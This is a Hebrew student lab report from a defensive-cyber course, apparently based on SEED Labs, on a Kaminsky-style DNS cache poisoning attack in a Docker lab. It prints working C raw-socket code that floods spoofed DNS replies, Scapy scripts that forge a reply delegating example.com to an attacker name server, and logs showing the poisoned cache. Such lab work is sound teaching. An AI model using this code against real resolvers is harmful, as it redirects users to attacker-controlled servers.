מעבדת סייבר הגנה
מטלה 2 – DNS CACHE POISONING

פרטי המגישים:

ליאור וינמן – 213081763

יועד תמר – 213451818

1) רקע: במטלה זו מימשנו מתקפת CACHE POISONING על שרתי DNS. מערכת DNS הינה מערכת המרה של כתובות אינטרנט אנושיות (לדוגמה: www.example.com) לכתובות שמחשבים יכולים להבין (לדוגמה, הכתובת הקודמת מומרת ל-93.184.216.34). מערכת שרתי הDNS פועלת בצורה הבאה – כאשר מכונה ברשת מקומית מעוניינת לבצע המרה, היא פונה לשרת הDNS המקומי (כחלק מהגדרת האינטרנט של DHCP, לכל מכונה ברשת מוגדרת כתובת של שרת LOCAL DNS (ובנוסף גם DG, IP, SM)), השרת הזה יכול להיות רקורסיבי או איטרטיבי (למשתמש בפועל זה לא משנה), השרת המקומי פונה לROOT DNS SERVER שהוא שרת מרכזי, לאחר מכן מתבצעת פניה לTLD DNS SERVER ולבסוף מתבצעת פניה ל AUTHORITIVE DNS SERVER. לבסוף, התשובה חוזרת לLOCAL DNS SERVER והוא מחזיר את התשובה הרצויה למכונה. על מנת לחסוך בקריאות ובמשאבי רשת, שרת הLOCAL DNS מחזיק טבלה הנקראת DNS CACHE, בכל שורה בטבלה יש את הכתובת האנושית וההמרה שלה לכתובת אינטרנט, כך שאם מכונה מבקשת כתובת שכבר מישהו ביקש בעבר, היא תקבל תשובה מידית. המתקפה בנויה על שיבוש הטבלה של שרת הLOCAL DNS על ידי הרעלה של אחת מהכתובות כך שלדוגמה www.example.com יוביל ל-1.2.3.4 ולא ל- 93.184.216.34.

2) הרצה: את המטלה יש להריץ בסביבת LINUX UBUNTU 22.04 LTS בלבד. יש לפתוח טרמינל בתקיה עם קובץ הYAML שהוגש ולהריץ: SUDO DOCKER-COMPOSE BUILD ולאחר מכן SUDO DOCKER-COMPOSE UP. כעת יש לפתוח טרמינל חדש ולהריץ SUDO DOCKER PS -A. לאחר מכן, יש לפתוח 4 טרמינלים נוספים בכדי שנוכל להריץ בהם את כל המכונות שברשת שלנו שמוגדרת על ידי הYAML. בכל אחד מהטרמינלים החדשים יש להריץ SUDO DOCKER EXEC -IT <ID> /BIN/BASH כאשר במקום ID יש לכתוב את המספר הסידורי הרלוונטי מתוך הטרמינל המכיל את DOCKER PS.

בטרמינל של הATTACKER יש להריץ: APT-GET UPDATE ולאחר מכן APT-GET INSTALL BUILD-ESSENTIAL. לאחר מכן יש לבצע CD /VOLUMES/ ולאחר מכן יש לבנות את החבילות שנרצה לשלוח על ידי: PYTHON3 GENERATE_DNS_REPLY.PY וגם PYTHON3 GENERA_DNS_REQUEST.PY. לבסוף נבצע GCC -O ATTACK ATTACK.C הדבר יצור לנו קובץ ELF שדרכו נריץ את המתקפה, לבסוף נריץ על ידי ./ATTACK .

בטרמינל של הLOCAL DNS יש להריץ: SERVICE NAMED START ולאחר מכן RNDC FLUSH (הדבר ינקה את הCACHE של הDNS).

בטרמינל של הUSER יש להריץ: WWW.EXAMPLE.COM DIG הדבר יבצע שאילתת DNS על הכתובת.

שלבי ההרצה (כפי שמוסבר מלמעלה): שרת DNS לאחר מכן תוקף ולאחר מכן USER ולבסוף השרת של התוקף.

הערה: המתקפה ATTACK.C תרוץ לנצח, על כן אנחנו צריכים להפעיל אותה, לתת לה לרוץ מספר שניות (בכל שניה נשלחות כ-10K חבילות) ולאחר מכן לכבות על ידי CTRL+C. אם בטרמינל של הUSER ההתקפה לא עבדה ואנחנו מקבלים את הכתובת האמיתית ולא 1.2.3.5 אז נפעיל את המתקפה שוב לכמה שניות ואז נכבה (אם שוב לא עבד נחזור על התהליך עוד כמה פעמים).

3) קובץ ATTACK.C: נעבור על קובץ ההתקפה, הקובץ הזה נתון לנו במטלה (דרך האתר של SEEDLABS), אך היינו צריכים להשלים מספר שורות, נסביר איך ההתקפה עובדת:

```
int main()
{
    srand(time(NULL));
    // Load the DNS request packet from file
    FILE * f_req = fopen("dns_req.bin", "rb");
    if (!f_req) {
        perror("Can't open 'dns_request.bin'");
        exit(1);
    }
    unsigned char ip_req[MAX_FILE_SIZE];
    int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);

    // Load the first DNS response packet from file
    FILE * f_resp = fopen("dns_rep.bin", "rb");
    if (!f_resp) {
        perror("Can't open 'dns_response.bin'");
        exit(1);
    }
    unsigned char ip_resp[MAX_FILE_SIZE];
    int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);
```

כאן אנחנו מייצרים SEED עבור הRANDOM של התוכנית, לאחר מכן אנחנו פותחים את שתי החבילות שנרצה לשלוח (התוכנית היא היברידית, השליחה של החבילות באמצעות שפת C והבניה של החבילות באמצעות שפת PYTHON).

```
    char a[26]="abcdefghijklmnopqrstuvwxyz";
    while (1) {
        unsigned short txid = 0;
        char name[5];
        for (int k=0; k<5; k++)  name[k] = a[rand() % 26];
        send_dns_request(ip_req, n_req, name);
        for (int i = 0; i < 500; i++) {
            send_dns_response(ip_resp, n_resp, TARGET_NAME_SERVER, name, txid);
            send_dns_response(ip_resp, n_resp, TARGET_NAME_SERVER, name, txid);

            txid++;
        }

    }
}
```

כאן אנחנו מגרילים SUB-DOMAIN עבור הכתובת לאחר מכן מגדירים TXID עבור חבילות הDNS (מספר סידורי, המטלה לתפוס את המספר הסידורי של החבילה האמיתית לפני שהיא מגיעה ליעד) עבור כל TXID אנחנו נשלח פעמיים, רק בשביל הווידוא.

```c
void send_dns_request(unsigned char *packet, int packet_size, char *buff)
{
    memcpy(packet+41, buff, 5);
    send_raw_packet(packet, packet_size);
}
```

כאן אנחנו שולחים בקשת DNS עבור הכתובת המקורית, אנחנו משנים את הSUB-DOMAIN לפי הOFFSET הנתון בקובץ המטלה.

```c
void send_dns_response(unsigned char *packet, int packet_size, unsigned char *buff, char *buff2, unsigned short num)
{
    int ip = (int)inet_addr(buff);
    memcpy(packet+12, (void*)&ip, 4);
    memcpy(packet+41, buff2, 5);
    memcpy(packet+64, buff2, 5);

    unsigned short txid = htons(num);
    memcpy(packet+28, (void*)&txid, 2);
    send_raw_packet(packet, packet_size);
}
```

כאן אנחנו שולחים את התגובה של הDNS, כמובן משנים את החבילה שנרצה לשלוח בכל הOFFSET-ים המתאימים לפי הנתון לנו בקובץ המטלה.

```c
void send_raw_packet(char *buffer, int pkt_size)
{
    struct sockaddr_in dest_info;
    int enable = 1;

    // Step 1: Create a raw network socket.
    int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

    // Step 2: Set socket option.
    setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
               &enable, sizeof(enable));

    // Step 3: Provide needed information about destination.
    struct ipheader *ip = (struct ipheader *) buffer;
    dest_info.sin_family = AF_INET;
    dest_info.sin_addr = ip->iph_destip;

    // Step 4: Send the packet out.
    sendto(sock, buffer, pkt_size, 0,
           (struct sockaddr *)&dest_info, sizeof(dest_info));
    close(sock);
}
```

כאן יש את הפונקציה אשר שולחת את החבילה, פותח RAW-SOCKET ומאפשר לצרף את שכבת ה-IP שלנו ולא את השכבה הדיפולטיבית שה-KERNAL יוצר. לאחר מכן שולח את החבילה וסוגר את הסוקט.

3) תעבורה: כאן נעבור על התעבורה שניתן לראות בזמן המתקפה, נעבור על חבילות לדוגמה.

1	0.000000000	1.2.3.4	10.9.0.53	DNS	77	Standard query 0xaaaa A vljns.example.com
2	0.000087997	199.43.133.53	10.9.0.53	DNS	152	Standard query response 0x0000 A vljns.example.com A 1.2.3.4 NS ns.at
3	0.000142331	199.43.133.53	10.9.0.53	DNS	152	Standard query response 0x0000 A vljns.example.com A 1.2.3.4 NS ns.at
4	0.000171814	199.43.133.53	10.9.0.53	DNS	152	Standard query response 0x0001 A vljns.example.com A 1.2.3.4 NS ns.at
5	0.000201025	199.43.133.53	10.9.0.53	DNS	152	Standard query response 0x0001 A vljns.example.com A 1.2.3.4 NS ns.at
6	0.000233257	199.43.133.53	10.9.0.53	DNS	152	Standard query response 0x0002 A vljns.example.com A 1.2.3.4 NS ns.at
7	0.000261449	199.43.133.53	10.9.0.53	DNS	152	Standard query response 0x0002 A vljns.example.com A 1.2.3.4 NS ns.at
8	0.000287135	199.43.133.53	10.9.0.53	DNS	152	Standard query response 0x0003 A vljns.example.com A 1.2.3.4 NS ns.at
9	0.000312226	199.43.133.53	10.9.0.53	DNS	152	Standard query response 0x0003 A vljns.example.com A 1.2.3.4 NS ns.at
10	0.000339703	199.43.133.53	10.9.0.53	DNS	152	Standard query response 0x0004 A vljns.example.com A 1.2.3.4 NS ns.at
11	0.000317671	10.9.0.53	10.9.0.153	DNS	116	Standard query 0x0a2a A vljns.example.com OPT

כאן ניתן לראות שליחה של 11 חבילות, כאשר הראשונה היא חבילת הבקשה שלנו עבור שרת הDNS, לאחר מכן, אנחנו שולחים 9 חבילות כאשר כל 2 מהן עם TXID שונה וההפרש כל פעם הוא 1. בכך אנחנו מנסים לתפוס את הבקשה, לאחר מכן אנחנו מקבלים מענה משרת הDNS עבור השאילתה.

4) פלט: כאן נראה את הפלט מהטרמינלים של הDOCKER-ים ונראה שהכל עובד כפי שצריך:

```
root@PC:/volumes# gcc -o attack attack.c
root@PC:/volumes# ./attack
^C
root@PC:/volumes# ./attack
^C
root@PC:/volumes# ./attack
^C
root@PC:/volumes# ./attack
^C
root@PC:/volumes# ./attack
^C
root@PC:/volumes# ./attack
^C
root@PC:/volumes# ./attack
^C
root@PC:/volumes# ./attack
^C
root@PC:/volumes#
```

זה הטרמינל של הATTACKER (התוקף), כאן אנחנו מריצים מספר פעמים את המתקפה (שוב, המתקפה רצה לנצח, אנחנו לא יודעים בוודאות מתי בוודאות נתפוס את הTXID הנכון לנו, לכן יש צורך לעצור לבדוק ולהפעיל מחדש במקרה הצורך). כל הרצה יכולה להיות ממש כ-5 שניות (שהריי במצב כזה ישלחו למעלה מ-50 אלף חבילות).

```
root@00e147adce7c:/# service named start
 * Starting domain name service... named
root@00e147adce7c:/# rdnc flush
bash: rdnc: command not found
root@00e147adce7c:/# rndc flush
root@00e147adce7c:/# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
root@00e147adce7c:/# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
root@00e147adce7c:/# rndc flush
root@00e147adce7c:/# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
root@00e147adce7c:/# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
root@00e147adce7c:/# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
\root@00e147adce7c:/# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
ns.attacker32.com.      615596  \-AAAA  ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800 7200 2419200 86400
example.com.            777556  NS      ns.attacker32.com.
root@00e147adce7c:/# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
ns.attacker32.com.      615537  \-AAAA  ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800 7200 2419200 86400
example.com.            777497  NS      ns.attacker32.com.
root@00e147adce7c:/# rndc dumpdb -cache && grep attacker /var/cache/bind/dump.db
ns.attacker32.com.      615532  \-AAAA  ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800 7200 2419200 86400
example.com.            777492  NS      ns.attacker32.com.
root@00e147adce7c:/#
```

זהו הטרמינל של שרת הLOCAL DNS של הרשת שלנו, תחילה אנחנו מדליקים את השירות כך שיעבוד כמו שרת DNS (עובד מעל BIND9). לאחר מכן מבצעים ניקוי לCACHE של השרת ובודקים האם ההרעלה עבדה, אם לא אז נריץ את המתקפה שוב ונבדוק שוב. ניתן לראות לבסוף למטה שההתקפה עובדת כיוון שהוא מחזיר לנו את הכתובת של השרת של התוקף (לא המכונה של התוקף, השרת שלו).

```
root@62c2152615c0:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29993
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: c8d3099211d8e0dc0100000064776dbe1064c08a97c08718 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5

;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Wed May 31 15:54:38 UTC 2023
;; MSG SIZE  rcvd: 88

root@62c2152615c0:/#
```

כאן זה הטרמינל של הUSER, לאחר שבוצע כבר ה-CACHE POISONING, ביצענו שאילתת DIG שזה מבצע בקשה לשרת הDNS, שרת הDNS החזיר לנו עבור WWW.EXAMPLE.COM כתובת IP שאינה קיימת כלל (1.2.3.5), כלומר מכך נסיק שההתקפה בוצעה בהצלחה.

בטרמינל של השרת של התוקף אין לנו פלט ואין לנו שימוש (אבל עדיין יש צורך שיהיה פתוח, כדי שהמכונה תעבוד).

כעת נדבר על הpython. כתבנו 2 קבצים generate_dns_reply.py , generate_dns_request.py
כאשר אחד מהם אחראי על בניית פאקטת הבקשה ואחד התשובה.

generate_dns_request.py

```
def generate_request() -> bytes:
    Qdsec = scapy.DNSQR(qname="twysw.example.com")
    dns = scapy.DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)

    ip = scapy.IP(src="1.2.3.4", dst="10.9.0.53")
    udp = scapy.UDP(sport=62621, dport=53, chksum=0)
    packet = ip / udp / dns

    return bytes(packet)
```

מייצרים את הפקאטה – כאן אנחנו בעצם מייצרים בעצם את הבקשה שנשלח אל 10.9.0.53 מהip "המזויף" 1.2.3.4 , נותנים את ההגדרות של הפקטה ובעצם ממלאים את החלקים הנדרשים.

```
def main():
    pkt = generate_request()

    with open("dns_req.bin", "wb") as file:
        file.write(pkt)
```

כאן אנחנו שומרים את הפאקטה אל תוך קובץ בביטים.

generate_dns_reply.py

```python
def generate_reply() -> bytes:
    name = "twysw.example.com"
    domain = "example.com"
    ns = "ns.attacker32.com"

    Qdsec = scapy.DNSQR(qname=name)
    Anssec = scapy.DNSRR(rrname=name, type="A", rdata="1.2.3.4", ttl=259200)
    NSsec = scapy.DNSRR(rrname=domain, type="NS", rdata=ns, ttl=259200)

    ip = scapy.IP(dst="10.9.0.53", src="8.1.2.3", chksum=0)
    udp = scapy.UDP(sport=53, dport=33333, chksum=0)
    dns = scapy.DNS(id=0xAAAA, aa=1, ra=0, rd=0, cd=0, qr=1,
                    qdcount=1, ancount=1, nscount=1, arcount=0,
                    qd=Qdsec, an=Anssec, ns=NSsec)

    dns_reply = ip / udp / dns

    return bytes(dns_reply)
```

כאן אנחנו מייצרים את פאקטת התשובה. כך שבעצם ישמר ה-ip המזויף שאנחנו רוצים שישמר עם ה- name server שרצינו.